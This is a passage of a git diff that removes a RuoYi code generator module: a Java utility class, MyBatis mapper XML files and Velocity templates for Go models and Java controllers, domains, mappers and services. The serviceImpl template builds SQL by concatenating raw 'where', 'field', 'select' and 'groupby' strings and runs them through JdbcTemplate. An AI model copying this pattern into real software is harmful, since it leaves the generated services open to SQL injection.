StringUtils.format("{}/controller/{}Controller.java", javaPath, className); - } - else if (template.contains("userController.java.vm")) - { - fileName = StringUtils.format("{}/controller/user/{}Controller.java", javaPath, className); - } - else if (template.contains("mapper.xml.vm")) - { - fileName = StringUtils.format("{}/{}Mapper.xml", mybatisPath, className); - } - else if (template.contains("sql.vm")) - { - fileName = businessName + "Menu.sql"; - } - else if (template.contains("model.vm")) - { - fileName = genTable.getTableName() + "_mdb.go"; - } - else if (template.contains("api.js.vm")) - { - fileName = StringUtils.format("{}/api/{}/{}.js", vuePath, moduleName, businessName); - } - else if (template.contains("index.vue.vm")) - { - fileName = StringUtils.format("{}/views/{}/{}/index.vue", vuePath, moduleName, businessName); - } - else if (template.contains("userIndex.vue.vm")) - { - fileName = StringUtils.format("{}/views/{}/{}/user/index.vue", vuePath, moduleName, businessName); - } - else if (template.contains("selectvue.vm")) - { - fileName = StringUtils.format("{}/views/{}/{}/select{}.vue", vuePath, moduleName, businessName, selectName); - } - else if (template.contains("userSelectvue.vm")) - { - fileName = StringUtils.format("{}/views/{}/{}/user/userSelect{}.vue", vuePath, moduleName, businessName, selectName); - } - else if (template.contains("index-tree.vue.vm")) - { - fileName = StringUtils.format("{}/views/{}/{}/index.vue", vuePath, moduleName, businessName); - } - return fileName; - } - - /** - * 获取包前缀 - * - * @param packageName 包名称 - * @return 包前缀名称 - */ - public static String getPackagePrefix(String packageName) - { - int lastIndex = packageName.lastIndexOf("."); - String basePackage = StringUtils.substring(packageName, 0, lastIndex); - return basePackage; - } - - /** - * 根据列类型获取导入包 - * - * @param genTable 业务表对象 - * @return 返回需要导入的包列表 - */ - public static HashSet getImportList(GenTable genTable) - { - List columns = genTable.getColumns(); - GenTable subGenTable = genTable.getSubTable(); - HashSet importList = new HashSet(); - if (StringUtils.isNotNull(subGenTable)) - { - importList.add("java.util.List"); - } - for (GenTableColumn column : columns) - { - if (!column.isSuperColumn() && GenConstants.TYPE_DATE.equals(column.getJavaType())) - { - importList.add("java.util.Date"); - importList.add("com.fasterxml.jackson.annotation.JsonFormat"); - } - else if (!column.isSuperColumn() && GenConstants.TYPE_BIGDECIMAL.equals(column.getJavaType())) - { - importList.add("java.math.BigDecimal"); - } - } - return importList; - } - - /** - * 获取权限前缀 - * - * @param moduleName 模块名称 - * @param businessName 业务名称 - * @return 返回权限前缀 - */ - public static String getPermissionPrefix(String moduleName, String businessName) - { - return StringUtils.format("{}:{}", moduleName, businessName); - } - - /** - * 获取上级菜单ID字段 - * - * @param paramsObj 生成其他选项 - * @return 上级菜单ID字段 - */ - public static String getParentMenuId(JSONObject paramsObj) - { - if (StringUtils.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.PARENT_MENU_ID)) - { - return paramsObj.getString(GenConstants.PARENT_MENU_ID); - } - return DEFAULT_PARENT_MENU_ID; - } - - /** - * 获取树编码 - * - * @param paramsObj 生成其他选项 - * @return 树编码 - */ - public static String getTreecode(JSONObject paramsObj) - { - if (paramsObj.containsKey(GenConstants.TREE_CODE)) - { - return StringUtils.toCamelCase(paramsObj.getString(GenConstants.TREE_CODE)); - } - return StringUtils.EMPTY; - } - - /** - * 获取树父编码 - * - * @param paramsObj 生成其他选项 - * @return 树父编码 - */ - public static String getTreeParentCode(JSONObject paramsObj) - { - if (paramsObj.containsKey(GenConstants.TREE_PARENT_CODE)) - { - return StringUtils.toCamelCase(paramsObj.getString(GenConstants.TREE_PARENT_CODE)); - } - return StringUtils.EMPTY; - } - - /** - * 获取树名称 - * - * @param paramsObj 生成其他选项 - * @return 树名称 - */ - public static String getTreeName(JSONObject paramsObj) - { - if (paramsObj.containsKey(GenConstants.TREE_NAME)) - { - return StringUtils.toCamelCase(paramsObj.getString(GenConstants.TREE_NAME)); - } - return StringUtils.EMPTY; - } - - /** - * 获取需要在哪一列上面显示展开按钮 - * - * @param genTable 业务表对象 - * @return 展开按钮列序号 - */ - public static int getExpandColumn(GenTable genTable) - { - String options = genTable.getOptions(); - JSONObject paramsObj = JSONObject.parseObject(options); - String treeName = paramsObj.getString(GenConstants.TREE_NAME); - int num = 0; - for (GenTableColumn column : genTable.getColumns()) - { - if (column.isList()) - { - num++; - String columnName = column.getColumnName(); - if (columnName.equals(treeName)) - { - break; - } - } - } - return num; - } -} diff --git a/ruoyi-generator/src/main/resources/generator.yml b/ruoyi-generator/src/main/resources/generator.yml deleted file mode 100644 index 68a5bc0..0000000 --- a/ruoyi-generator/src/main/resources/generator.yml +++ /dev/null @@ -1,10 +0,0 @@ -# 代码生成 -gen: - # 作者 - author: luqj - # 默认生成包路径 system 需改成自己的模块名称 如 system monitor tool - packageName: com.ruoyi.system - # 自动去除表前缀,默认是false - autoRemovePre: false - # 表前缀(生成类名不会包含表前缀,多个用逗号分隔) - tablePrefix: sys_ \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml b/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml deleted file mode 100644 index 0568227..0000000 --- a/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml +++ /dev/null @@ -1,131 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select column_id, table_id, column_name, column_comment, column_type, java_type, java_field, is_pk, is_increment, is_required, is_insert, is_edit, is_list, is_query, query_type, html_type, dict_type, sort, create_by, create_time, update_by, update_time,go_type from gen_table_column - - - - - - - - insert into gen_table_column ( - table_id, - column_name, - column_comment, - column_type, - java_type, - java_field, - is_pk, - is_increment, - is_required, - is_insert, - is_edit, - is_list, - is_query, - query_type, - html_type, - dict_type, - sort, - create_by, - go_type, - create_time - )values( - #{tableId}, - #{columnName}, - #{columnComment}, - #{columnType}, - #{javaType}, - #{javaField}, - #{isPk}, - #{isIncrement}, - #{isRequired}, - #{isInsert}, - #{isEdit}, - #{isList}, - #{isQuery}, - #{queryType}, - #{htmlType}, - #{dictType}, - #{sort}, - #{createBy}, - #{goType}, - sysdate() - ) - - - - update gen_table_column - - column_comment = #{columnComment}, - java_type = #{javaType}, - java_field = #{javaField}, - is_insert = #{isInsert}, - is_edit = #{isEdit}, - is_list = #{isList}, - is_query = #{isQuery}, - is_required = #{isRequired}, - query_type = #{queryType}, - html_type = #{htmlType}, - dict_type = #{dictType}, - sort = #{sort}, - update_by = #{updateBy}, - go_type = #{goType}, - update_time = sysdate() - - where column_id = #{columnId} - - - - delete from gen_table_column where table_id in - - #{tableId} - - - - - delete from gen_table_column where column_id in - - #{item.columnId} - - - - \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml b/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml deleted file mode 100644 index ba4c38c..0000000 --- a/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml +++ /dev/null @@ -1,202 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select table_id, table_name, table_comment, sub_table_name, sub_table_fk_name, class_name, tpl_category, package_name, module_name, business_name, function_name, function_author, gen_type, gen_path, options, create_by, create_time, update_by, update_time, remark from gen_table - - - - - - - - - - - - - - - - - - insert into gen_table ( - table_name, - table_comment, - class_name, - tpl_category, - package_name, - module_name, - business_name, - function_name, - function_author, - gen_type, - gen_path, - remark, - create_by, - create_time - )values( - #{tableName}, - #{tableComment}, - #{className}, - #{tplCategory}, - #{packageName}, - #{moduleName}, - #{businessName}, - #{functionName}, - #{functionAuthor}, - #{genType}, - #{genPath}, - #{remark}, - #{createBy}, - sysdate() - ) - - - - update gen_table - - table_name = #{tableName}, - table_comment = #{tableComment}, - sub_table_name = #{subTableName}, - sub_table_fk_name = #{subTableFkName}, - class_name = #{className}, - function_author = #{functionAuthor}, - gen_type = #{genType}, - gen_path = #{genPath}, - tpl_category = #{tplCategory}, - package_name = #{packageName}, - module_name = #{moduleName}, - business_name = #{businessName}, - function_name = #{functionName}, - options = #{options}, - update_by = #{updateBy}, - remark = #{remark}, - update_time = sysdate() - - where table_id = #{tableId} - - - - delete from gen_table where table_id in - - #{tableId} - - - - \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/go/model.vm b/ruoyi-generator/src/main/resources/vm/go/model.vm deleted file mode 100644 index 896ee92..0000000 --- a/ruoyi-generator/src/main/resources/vm/go/model.vm +++ /dev/null @@ -1,16 +0,0 @@ -package mdb - -// ${businessName} ${functionName} -type ${capClassName} struct { -#foreach ($column in $columns) - #if($column.columnName != 'id' && $column.columnName != 'created_at' && $column.columnName != 'updated_at' && $column.columnName != 'deleted_at' ) - $column.capJavaField $column.goType `gorm:"column:$column.columnName" json:"$column.columnName"` // $column.columnComment - #end -#end -BaseModel -} - -// TableName sets the insert table name for this struct type -func (w *${capClassName}) TableName() string { -return "${tableName}" -} diff --git a/ruoyi-generator/src/main/resources/vm/java/controller.java.vm b/ruoyi-generator/src/main/resources/vm/java/controller.java.vm deleted file mode 100644 index c5ed0b1..0000000 --- a/ruoyi-generator/src/main/resources/vm/java/controller.java.vm +++ /dev/null @@ -1,129 +0,0 @@ -package ${packageName}.controller; -import com.ruoyi.common.select.Ids; -import com.ruoyi.common.select.SelectItem; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import ${packageName}.domain.${ClassName}; -import ${packageName}.domain.${ClassName}Plus; -import ${packageName}.service.I${ClassName}Service; -import com.ruoyi.common.utils.poi.ExcelUtil; -#if($table.crud || $table.sub) -import com.ruoyi.common.core.page.TableDataInfo; -#elseif($table.tree) -#end - -/** - * ${functionName}Controller - * - * @author ${author} - * @date ${datetime} - */ -@RestController -@RequestMapping("/${moduleName}/${businessName}") -public class ${ClassName}Controller extends BaseController -{ - @Autowired - private I${ClassName}Service ${className}Service; - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:getByIds')") - @PostMapping("/getByIds") - public AjaxResult getByIds(@RequestBody Ids ids) - { - List<${ClassName}Plus> list = ${className}Service.getByIds(ids.getLongIds(),${ClassName}Plus::getName,${ClassName}Plus::getId); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:select')") - @GetMapping("/select") - public AjaxResult select(String keyword) - { - List list = ${className}Service.select(keyword); - return AjaxResult.success(list); - } - /** - * 查询${functionName}列表 - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:list')") - @GetMapping("/list") -#if($table.crud || $table.sub) - public TableDataInfo list(${ClassName} ${className}) - { - startPage(); - List<${ClassName}> list = ${className}Service.select${ClassName}List(${className}); - return getDataTable(list); - } -#elseif($table.tree) - public AjaxResult list(${ClassName} ${className}) - { - List<${ClassName}> list = ${className}Service.select${ClassName}List(${className}); - return AjaxResult.success(list); - } -#end - - /** - * 导出${functionName}列表 - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:export')") - @Log(title = "${functionName}", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(${ClassName} ${className}) - { - List<${ClassName}> list = ${className}Service.select${ClassName}List(${className}); - ExcelUtil<${ClassName}> util = new ExcelUtil<${ClassName}>(${ClassName}.class); - return util.exportExcel(list, "${businessName}"); - } - - /** - * 获取${functionName}详细信息 - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:query')") - @GetMapping(value = "/{${pkColumn.javaField}}") - public AjaxResult getInfo(@PathVariable("${pkColumn.javaField}") ${pkColumn.javaType} ${pkColumn.javaField}) - { - return AjaxResult.success(${className}Service.select${ClassName}ById(${pkColumn.javaField})); - } - - /** - * 新增${functionName} - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:add')") - @Log(title = "${functionName}", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ${ClassName} ${className}) - { - return toAjax(${className}Service.insert${ClassName}(${className})); - } - - /** - * 修改${functionName} - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:edit')") - @Log(title = "${functionName}", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ${ClassName} ${className}) - { - return toAjax(${className}Service.update${ClassName}(${className})); - } - - /** - * 删除${functionName} - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:remove')") - @Log(title = "${functionName}", businessType = BusinessType.DELETE) - @DeleteMapping("/{${pkColumn.javaField}s}") - public AjaxResult remove(@PathVariable ${pkColumn.javaType}[] ${pkColumn.javaField}s) - { - return toAjax(${className}Service.delete${ClassName}ByIds(${pkColumn.javaField}s)); - } -} diff --git a/ruoyi-generator/src/main/resources/vm/java/domain.java.vm b/ruoyi-generator/src/main/resources/vm/java/domain.java.vm deleted file mode 100644 index ecdec43..0000000 --- a/ruoyi-generator/src/main/resources/vm/java/domain.java.vm +++ /dev/null @@ -1,105 +0,0 @@ -package ${packageName}.domain; - -#foreach ($import in $importList) -import ${import}; -#end -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -#if($table.crud || $table.sub) -import com.ruoyi.common.core.domain.BaseEntity; -#elseif($table.tree) -import com.ruoyi.common.core.domain.TreeEntity; -#end -import java.io.Serializable; -/** - * ${functionName}对象 ${tableName} - * - * @author ${author} - * @date ${datetime} - */ -#if($table.crud || $table.sub) -#set($Entity="BaseEntity") -#elseif($table.tree) -#set($Entity="TreeEntity") -#end -public class ${ClassName} extends BaseEntity -{ - private static final long serialVersionUID = 1L; - -#foreach ($column in $columns) -#if(!$table.isSuperColumn($column.javaField)) - /** $column.columnComment */ -#if($column.list) -#set($parentheseIndex=$column.columnComment.indexOf("(")) -#if($parentheseIndex != -1) -#set($comment=$column.columnComment.substring(0, $parentheseIndex)) -#else -#set($comment=$column.columnComment) -#end -#if($parentheseIndex != -1) - @Excel(name = "${comment}", readConverterExp = "$column.readConverterExp()") -#elseif($column.javaType == 'Date') - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "${comment}", width = 30, dateFormat = "yyyy-MM-dd") -#else - @Excel(name = "${comment}") -#end -#end - private $column.javaType $column.javaField; - -#end -#end -#if($table.sub) - /** $table.subTable.functionName信息 */ - private List<${subClassName}> ${subclassName}List; - -#end -#foreach ($column in $columns) -#if(!$table.isSuperColumn($column.javaField)) -#if($column.javaField.length() > 2 && $column.javaField.substring(1,2).matches("[A-Z]")) -#set($AttrName=$column.javaField) -#else -#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) -#end - public void set${AttrName}($column.javaType $column.javaField) - { - this.$column.javaField = $column.javaField; - } - - public $column.javaType get${AttrName}() - { - return $column.javaField; - } -#end -#end - -#if($table.sub) - public List<${subClassName}> get${subClassName}List() - { - return ${subclassName}List; - } - - public void set${subClassName}List(List<${subClassName}> ${subclassName}List) - { - this.${subclassName}List = ${subclassName}List; - } - -#end - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) -#foreach ($column in $columns) -#if($column.javaField.length() > 2 && $column.javaField.substring(1,2).matches("[A-Z]")) -#set($AttrName=$column.javaField) -#else -#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) -#end - .append("${column.javaField}", get${AttrName}()) -#end -#if($table.sub) - .append("${subclassName}List", get${subClassName}List()) -#end - .toString(); - } -} diff --git a/ruoyi-generator/src/main/resources/vm/java/domainPlus.java.vm b/ruoyi-generator/src/main/resources/vm/java/domainPlus.java.vm deleted file mode 100644 index d3c5c79..0000000 --- a/ruoyi-generator/src/main/resources/vm/java/domainPlus.java.vm +++ /dev/null @@ -1,103 +0,0 @@ -package ${packageName}.domain; - -#foreach ($import in $importList) -import ${import}; -#end -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -#if($table.crud || $table.sub) -import com.ruoyi.common.core.domain.BaseEntity; -#elseif($table.tree) -import com.ruoyi.common.core.domain.TreeEntity; -#end -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * ${functionName}对象 ${tableName} - * - * @author ${author} - * @date ${datetime} - */ -#if($table.crud || $table.sub) -#set($Entity="BaseEntity") -#elseif($table.tree) -#set($Entity="TreeEntity") -#end -@TableName(value = "${tableName}") -public class ${ClassName}Plus implements Serializable -{ - private static final long serialVersionUID = 1L; - -#foreach ($column in $columns) - /** $column.columnComment */ -#if($column.list) -#set($parentheseIndex=$column.columnComment.indexOf("(")) -#if($parentheseIndex != -1) -#set($comment=$column.columnComment.substring(0, $parentheseIndex)) -#else -#set($comment=$column.columnComment) -#end -#if($parentheseIndex != -1) - @Excel(name = "${comment}", readConverterExp = "$column.readConverterExp()") -#elseif($column.javaType == 'Date') - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "${comment}", width = 30, dateFormat = "yyyy-MM-dd") -#else - @Excel(name = "${comment}") -#end -#end - private $column.javaType $column.javaField; -#end -#if($table.sub) - /** $table.subTable.functionName信息 */ - private List<${subClassName}> ${subclassName}List; - -#end -#foreach ($column in $columns) -#if($column.javaField.length() > 2 && $column.javaField.substring(1,2).matches("[A-Z]")) -#set($AttrName=$column.javaField) -#else -#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) -#end - public void set${AttrName}($column.javaType $column.javaField) - { - this.$column.javaField = $column.javaField; - } - - public $column.javaType get${AttrName}() - { - return $column.javaField; - } -#end - -#if($table.sub) - public List<${subClassName}> get${subClassName}List() - { - return ${subclassName}List; - } - - public void set${subClassName}List(List<${subClassName}> ${subclassName}List) - { - this.${subclassName}List = ${subclassName}List; - } - -#end - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) -#foreach ($column in $columns) -#if($column.javaField.length() > 2 && $column.javaField.substring(1,2).matches("[A-Z]")) -#set($AttrName=$column.javaField) -#else -#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) -#end - .append("${column.javaField}", get${AttrName}()) -#end -#if($table.sub) - .append("${subclassName}List", get${subClassName}List()) -#end - .toString(); - } -} diff --git a/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm b/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm deleted file mode 100644 index aaca05a..0000000 --- a/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm +++ /dev/null @@ -1,95 +0,0 @@ -package ${packageName}.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import ${packageName}.domain.${ClassName}; -import ${packageName}.domain.${ClassName}Plus; -#if($table.sub) -import ${packageName}.domain.${subClassName}; -#end - -/** - * ${functionName}Mapper接口 - * - * @author ${author} - * @date ${datetime} - */ -public interface ${ClassName}Mapper extends BaseMapper<${ClassName}Plus> -{ - /** - * 查询${functionName} - * - * @param ${pkColumn.javaField} ${functionName}ID - * @return ${functionName} - */ - public ${ClassName} select${ClassName}ById(${pkColumn.javaType} ${pkColumn.javaField}); - - /** - * 查询${functionName}列表 - * - * @param ${className} ${functionName} - * @return ${functionName}集合 - */ - public List<${ClassName}> select${ClassName}List(${ClassName} ${className}); - - /** - * 新增${functionName} - * - * @param ${className} ${functionName} - * @return 结果 - */ - public int insert${ClassName}(${ClassName} ${className}); - - /** - * 修改${functionName} - * - * @param ${className} ${functionName} - * @return 结果 - */ - public int update${ClassName}(${ClassName} ${className}); - - /** - * 删除${functionName} - * - * @param ${pkColumn.javaField} ${functionName}ID - * @return 结果 - */ - public int delete${ClassName}ById(${pkColumn.javaType} ${pkColumn.javaField}); - - /** - * 批量删除${functionName} - * - * @param ${pkColumn.javaField}s 需要删除的数据ID - * @return 结果 - */ - public int delete${ClassName}ByIds(${pkColumn.javaType}[] ${pkColumn.javaField}s); -#if($table.sub) - - /** - * 批量删除${subTable.functionName} - * - * @param customerIds 需要删除的数据ID - * @return 结果 - */ - public int delete${subClassName}By${subTableFkClassName}s(${pkColumn.javaType}[] ${pkColumn.javaField}s); - - /** - * 批量新增${subTable.functionName} - * - * @param ${subclassName}List ${subTable.functionName}列表 - * @return 结果 - */ - public int batch${subClassName}(List<${subClassName}> ${subclassName}List); - - - /** - * 通过${functionName}ID删除${subTable.functionName}信息 - * - * @param roleId 角色ID - * @return 结果 - */ - public int delete${subClassName}By${subTableFkClassName}(${pkColumn.javaType} ${pkColumn.javaField}); -#end -} diff --git a/ruoyi-generator/src/main/resources/vm/java/service.java.vm b/ruoyi-generator/src/main/resources/vm/java/service.java.vm deleted file mode 100644 index 0c91fd5..0000000 --- a/ruoyi-generator/src/main/resources/vm/java/service.java.vm +++ /dev/null @@ -1,89 +0,0 @@ -package ${packageName}.service; -import java.util.Map; -import java.util.List; -import ${packageName}.domain.${ClassName}; -import ${packageName}.domain.${ClassName}Plus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.ruoyi.common.select.SelectItem; -/** - * ${functionName}Service接口 - * - * @author ${author} - * @date ${datetime} - */ -public interface I${ClassName}Service extends IService<${ClassName}Plus> -{ - - List select(String keyword); - /** - * 查询${functionName} - * - * @param ${pkColumn.javaField} ${functionName}ID - * @return ${functionName} - */ - public ${ClassName} select${ClassName}ById(${pkColumn.javaType} ${pkColumn.javaField}); - - /** - * 查询${functionName}列表 - * - * @param ${className} ${functionName} - * @return ${functionName}集合 - */ - public List<${ClassName}> select${ClassName}List(${ClassName} ${className}); - - /** - * 新增${functionName} - * - * @param ${className} ${functionName} - * @return 结果 - */ - public int insert${ClassName}(${ClassName} ${className}); - - /** - * 修改${functionName} - * - * @param ${className} ${functionName} - * @return 结果 - */ - public int update${ClassName}(${ClassName} ${className}); - - /** - * 批量删除${functionName} - * - * @param ${pkColumn.javaField}s 需要删除的${functionName}ID - * @return 结果 - */ - public int delete${ClassName}ByIds(${pkColumn.javaType}[] ${pkColumn.javaField}s); - - /** - * 删除${functionName}信息 - * - * @param ${pkColumn.javaField} ${functionName}ID - * @return 结果 - */ - public int delete${ClassName}ById(${pkColumn.javaType} ${pkColumn.javaField}); - - List<${ClassName}Plus> getByIds(List ids, SFunction<${ClassName}Plus, ?>... columns); - - ${ClassName}Plus getById(Long id, SFunction<${ClassName}Plus, ?>... columns); - - Map getMapByIds(List ids, SFunction<${ClassName}Plus, ?>... columns); - - List<${ClassName}Plus> getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm b/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm deleted file mode 100644 index d4aec30..0000000 --- a/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm +++ /dev/null @@ -1,276 +0,0 @@ -package ${packageName}.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -#foreach ($column in $columns) -#if($column.javaField == 'createTime' || $column.javaField == 'updateTime') -import com.ruoyi.common.utils.DateUtils; -#break -#end -#end -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -#if($table.sub) -import java.util.ArrayList; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.transaction.annotation.Transactional; -import ${packageName}.domain.${subClassName}; -#end -import ${packageName}.mapper.${ClassName}Mapper; -import ${packageName}.domain.${ClassName}; -import ${packageName}.domain.${ClassName}Plus; -import ${packageName}.service.I${ClassName}Service; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import com.ruoyi.common.select.SelectItem; -/** - * ${functionName}Service业务层处理 - * - * @author ${author} - * @date ${datetime} - */ -@Service -public class ${ClassName}ServiceImpl extends ServiceImpl<${ClassName}Mapper, ${ClassName}Plus> implements I${ClassName}Service -{ - @Autowired - private ${ClassName}Mapper ${className}Mapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List<${ClassName}Plus> getByIds(List ids, SFunction<${ClassName}Plus, ?>... columns) { - LambdaQueryWrapper<${ClassName}Plus> lambdaQueryWrapper = new LambdaQueryWrapper<${ClassName}Plus>() - .select(columns).in(${ClassName}Plus::getId, ids); - return this.list(lambdaQueryWrapper); - } - @Override - public List select(String keyword) { - LambdaQueryWrapper<${ClassName}Plus> lambdaQueryWrapper = new LambdaQueryWrapper<${ClassName}Plus>() - .select(${ClassName}Plus::getId, ${ClassName}Plus::getName) - .like(${ClassName}Plus::getName, keyword); - List<${ClassName}Plus> list = this.list(lambdaQueryWrapper); - List result =new ArrayList<>(); - for (${ClassName}Plus item : list){ - SelectItem selectItem = new SelectItem(); - selectItem.setName(item.getName()); - selectItem.setId(item.getId()); - result.add(selectItem); - } - return result; - } - @Override - public ${ClassName}Plus getById(Long id, SFunction<${ClassName}Plus, ?>... columns) { - LambdaQueryWrapper<${ClassName}Plus> lambdaQueryWrapper = new LambdaQueryWrapper<${ClassName}Plus>() - .select(columns).eq(${ClassName}Plus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction<${ClassName}Plus, ?>... columns) { - List<${ClassName}Plus> list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (${ClassName}Plus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List<${ClassName}Plus> list = this.getByIds(ids); - Map map = new HashMap<>(); - for (${ClassName}Plus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List<${ClassName}Plus> getByIds(List ids) { - LambdaQueryWrapper<${ClassName}Plus> lambdaQueryWrapper = new LambdaQueryWrapper<${ClassName}Plus>().in(${ClassName}Plus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from ${tableName} "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" ${tableName} "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" ${tableName} "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询${functionName} - * - * @param ${pkColumn.javaField} ${functionName}ID - * @return ${functionName} - */ - @Override - public ${ClassName} select${ClassName}ById(${pkColumn.javaType} ${pkColumn.javaField}) - { - return ${className}Mapper.select${ClassName}ById(${pkColumn.javaField}); - } - - /** - * 查询${functionName}列表 - * - * @param ${className} ${functionName} - * @return ${functionName} - */ - @Override - public List<${ClassName}> select${ClassName}List(${ClassName} ${className}) - { - return ${className}Mapper.select${ClassName}List(${className}); - } - - /** - * 新增${functionName} - * - * @param ${className} ${functionName} - * @return 结果 - */ -#if($table.sub) - @Transactional -#end - @Override - public int insert${ClassName}(${ClassName} ${className}) - { -#foreach ($column in $columns) -#if($column.javaField == 'createTime') - ${className}.setCreateTime(DateUtils.getNowDate()); -#end -#end -#if($table.sub) - int rows = ${className}Mapper.insert${ClassName}(${className}); - insert${subClassName}(${className}); - return rows; -#else - return ${className}Mapper.insert${ClassName}(${className}); -#end - } - - /** - * 修改${functionName} - * - * @param ${className} ${functionName} - * @return 结果 - */ -#if($table.sub) - @Transactional -#end - @Override - public int update${ClassName}(${ClassName} ${className}) - { -#foreach ($column in $columns) -#if($column.javaField == 'updateTime') - ${className}.setUpdateTime(DateUtils.getNowDate()); -#end -#end -#if($table.sub) - ${className}Mapper.delete${subClassName}By${subTableFkClassName}(${className}.get${pkColumn.capJavaField}()); - insert${subClassName}(${className}); -#end - return ${className}Mapper.update${ClassName}(${className}); - } - - /** - * 批量删除${functionName} - * - * @param ${pkColumn.javaField}s 需要删除的${functionName}ID - * @return 结果 - */ -#if($table.sub) - @Transactional -#end - @Override - public int 